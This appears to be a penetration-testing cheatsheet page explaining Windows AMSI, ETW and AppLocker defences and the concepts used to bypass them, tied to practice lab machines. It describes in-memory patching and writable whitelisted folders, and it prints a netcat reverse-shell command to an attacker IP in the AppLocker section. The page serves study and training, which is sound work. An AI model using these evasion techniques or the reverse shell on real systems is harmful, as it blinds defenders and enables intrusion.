Evasion explained: AMSI, ETW and AppLocker

This is a reference sheet: it explains Windows defence mechanisms and the bypass concepts you study, with commands to check what state you are in and links to the machines where they show up. It is not a drop-in kit for getting past a real EDR.

Your values Saved in this browser and applied to every cheatsheet.

Your IP (attacker)

AMSI

AMSI (Antimalware Scan Interface) is the pipe through which PowerShell, scripts and macros hand their content to the antivirus before running it. That is why a plain-text reverse shell gets blocked even if it never touches disk.

Practise it on: APT Multimaster PivotAPI

How it works

The flow, in one sentence Keys

# amsi.dll -> AmsiScanBuffer() -> antivirus. Si devuelve AMSI_RESULT_DETECTED, el host corta la ejecución.

Check AMSI is active (harmless test string) Target

'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

This is Microsoft's official test string (like EICAR). If PowerShell blocks it, AMSI is working. It does nothing.

Bypass ideas (concepts)

Explained so you understand why they work and why current Defender detects the public versions. In an exam or pentest you will have to adapt them.

1. Force an initialisation error Keys

# Poner a valor no nulo el campo 'amsiInitFailed' por reflexión hace que AMSI se dé por roto y no escanee esa sesión. La firma literal lleva años detectada: hay que ofuscarla.

2. Patch AmsiScanBuffer in memory Keys

# Sobrescribir el principio de AmsiScanBuffer para que siempre devuelva 'limpio'. Es lo que hace la mayoría de loaders; el EDR vigila justo esa escritura.

3. Avoid PowerShell Keys

# AMSI está en el host del script. Ejecutar un binario .NET propio, C o un lenguaje sin integración con AMSI esquiva el problema de raíz.

What detects it

Script Block Logging (event 4104) Keys

# Aunque saltes AMSI, PowerShell puede registrar el script ya decodificado en el visor de eventos. La evasión real tiene que apagar también ETW (pestaña siguiente).

ETW

ETW (Event Tracing for Windows) is the telemetry system EDRs feed on: .NET assembly loads, suspicious calls, PowerShell... Blinding it removes the defender's visibility.

Practise it on: APT

How it works

The providers that matter Keys

# Microsoft-Windows-PowerShell y Microsoft-Windows-DotNETRuntime son los más usados para cazar ataques en memoria.

List providers and active sessions Target

logman query providers | findstr /i "powershell dotnet"
logman query -ets

Bypass idea (concept)

Neutralise EtwEventWrite Keys

# La técnica pública parchea EtwEventWrite en ntdll para que retorne de inmediato: deja de emitirse telemetría de ese proceso. Como con AMSI, el parche en caliente de ntdll es justo lo que un buen EDR vigila.

AppLocker / CLM

AppLocker decides which executables and scripts a user may launch. When it is active for PowerShell it forces Constrained Language Mode, which strips almost everything offensive from the language.

Practise it on: Sniper Reel Reel2 Access Giddy Sizzle

Am I limited?

Check the language mode Target

$ExecutionContext.SessionState.LanguageMode

ConstrainedLanguage = you are limited; FullLanguage = free.

Read the AppLocker rules Target

Get-AppLockerPolicy -Effective -Xml

Where it leaks (concepts)

The gap is almost always an allowed folder the user can write to, or a trusted binary that runs code (LOLBAS).

Folders usually allowed and writable Keys

# C:\Windows\Tasks, C:\Windows\Temp\<subcarpetas>, C:\Windows\System32\spool\drivers\color. Si una regla permite C:\Windows\* y puedes escribir ahí, puedes ejecutar.

When the PowerShell reverse shell fails: use netcat Target

# Es la lección de Sniper: en modo restringido el one-liner de PowerShell no corre, pero un nc.exe subido a una carpeta permitida sí.
nc.exe 10.10.14.5 443 -e cmd.exe

LOLBAS that run for you Keys

# InstallUtil.exe, MSBuild.exe, regsvr32.exe, rundll32.exe: binarios firmados por Microsoft que ejecutan código y suelen estar en la lista blanca. Busca en lolbas-project.github.io.